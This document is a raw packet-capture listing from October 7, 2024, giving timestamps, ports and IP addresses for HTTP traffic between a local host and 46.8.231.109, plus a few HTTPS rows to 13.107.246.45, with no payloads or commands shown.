Oct 7, 2024 19:33:18.681900978 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.681925058 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.681951046 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.681986094 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.682305098 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.682316065 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.682327986 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.682339907 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.682343006 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.682354927 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.682354927 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.682368994 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.682369947 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.682384014 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.682388067 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.682411909 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.682435036 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.682653904 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.682702065 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.682729006 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.682744026 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.682804108 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.682821035 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.682836056 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.682847977 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.682849884 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.682862997 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.682864904 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.682878017 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.682881117 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.682899952 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.682930946 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.683583975 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.683609962 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.683621883 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.683630943 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.683646917 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.683661938 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.683681011 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.683693886 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.683706045 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.683717012 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.683718920 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.683733940 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.683747053 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.683836937 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.683849096 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.683861017 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.683872938 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.683876991 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.683891058 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.683902025 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.683923960 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.683933020 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.683936119 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.683960915 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.683983088 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.684070110 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.684082985 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.684094906 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.684106112 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.684118032 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.684122086 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.684129953 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.684142113 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.684153080 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.684171915 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.684171915 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.684171915 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.684195995 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.684557915 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.684597969 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.684612036 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.684617043 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.684629917 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.684648991 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.684653044 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.684664965 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.684685946 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.684685946 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.684699059 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.684711933 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.684716940 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.684741020 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.684767008 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.685175896 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.685188055 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.685194969 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.685220957 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.685246944 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.685259104 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.685271978 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.685283899 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.685296059 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.685301065 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.685312033 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.685333014 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.686331987 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.686345100 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.686356068 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.686382055 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.686384916 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.686398029 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.686408997 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.686410904 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.686422110 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.686438084 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.686461926 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.686950922 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.686963081 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.686978102 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.686992884 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.687002897 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.687006950 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.687014103 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.687031984 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.687057018 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.687225103 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.687268972 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.687486887 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.687499046 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.687510967 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.687521935 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.687535048 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.687551022 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.687551975 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.687577009 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.687585115 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.687589884 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.687608004 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.687623024 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.687647104 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.690932035 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.690983057 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.691063881 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.691083908 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.691122055 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.691137075 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.691184998 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.691198111 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.691210985 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.691220045 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.691222906 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.691237926 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.691257000 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.759123087 CEST	443	49751	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.759186029 CEST	443	49751	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.759411097 CEST	49751	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.759460926 CEST	49751	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.759460926 CEST	49751	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.759478092 CEST	443	49751	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.759486914 CEST	443	49751	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.761590958 CEST	49757	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.761632919 CEST	443	49757	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.761779070 CEST	49757	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.761900902 CEST	49757	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.761917114 CEST	443	49757	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.765409946 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.765451908 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.765470028 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.765499115 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.765525103 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.765566111 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.765634060 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.765646935 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.765660048 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.765681028 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.765697956 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.765774012 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.765786886 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.765798092 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.765826941 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.765849113 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.765855074 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.765862942 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.765873909 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.765892982 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.765894890 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.765912056 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.765918016 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.765918016 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.765930891 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.765944004 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.765950918 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.765959024 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.765961885 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.765989065 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.766010046 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.766043901 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.766056061 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.766062021 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.766072989 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.766084909 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.766092062 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.766098022 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.766109943 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.766115904 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.766129017 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.766158104 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.766186953 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.766199112 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.766218901 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.766226053 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.766231060 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.766242981 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.766247988 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.766258001 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.766280890 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.766282082 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.766294956 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.766314030 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.766314983 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.766334057 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.766345978 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.766345978 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.766355038 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.766359091 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.766371965 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.766374111 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.766383886 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.766385078 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.766396999 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.766407967 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.766417027 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.766429901 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.766432047 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.766443014 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.766454935 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.766457081 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.766469002 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.766475916 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.766484976 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.766496897 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.766522884 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.767338037 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.767349958 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.767360926 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.767371893 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.767379045 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.767390966 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.767394066 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.767407894 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.767410994 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.767436028 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.767462969 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.767894983 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.767972946 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.768168926 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.768192053 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.768208981 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.768228054 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.768239021 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.768248081 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.768250942 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.768269062 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.768269062 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.768285990 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.768338919 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.768352032 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.768362999 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.768376112 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.768384933 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.768388987 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.768402100 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.768413067 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.768415928 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.768429041 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.768451929 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.768486977 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.768486977 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.768537045 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.768548965 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.768567085 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.768579006 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.768585920 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.768591881 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.768604994 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.768618107 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.768627882 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.768627882 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.768667936 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.769321918 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.769371033 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.769403934 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.769414902 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.769426107 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.769438028 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.769442081 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.769469023 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.769469023 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.769546986 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.769577980 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.769577980 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.769591093 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.769614935 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.769629955 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.769665956 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.769676924 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.769687891 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.769692898 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.769706011 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.769706964 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.769716024 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.769717932 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.769747019 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.769762039 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.771014929 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.771063089 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.771106005 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.771116972 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.771130085 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.771141052 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.771152020 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.771153927 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.771164894 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.771189928 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.771189928 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.771219969 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.771925926 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.771939039 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.771950960 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.771970034 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.771984100 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.771986008 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.771996021 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.772007942 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.772021055 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.772034883 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.772044897 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.772073984 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.772516012 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.772535086 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.772547960 CEST	80	49718	46.8.231.109	192.168.2.7
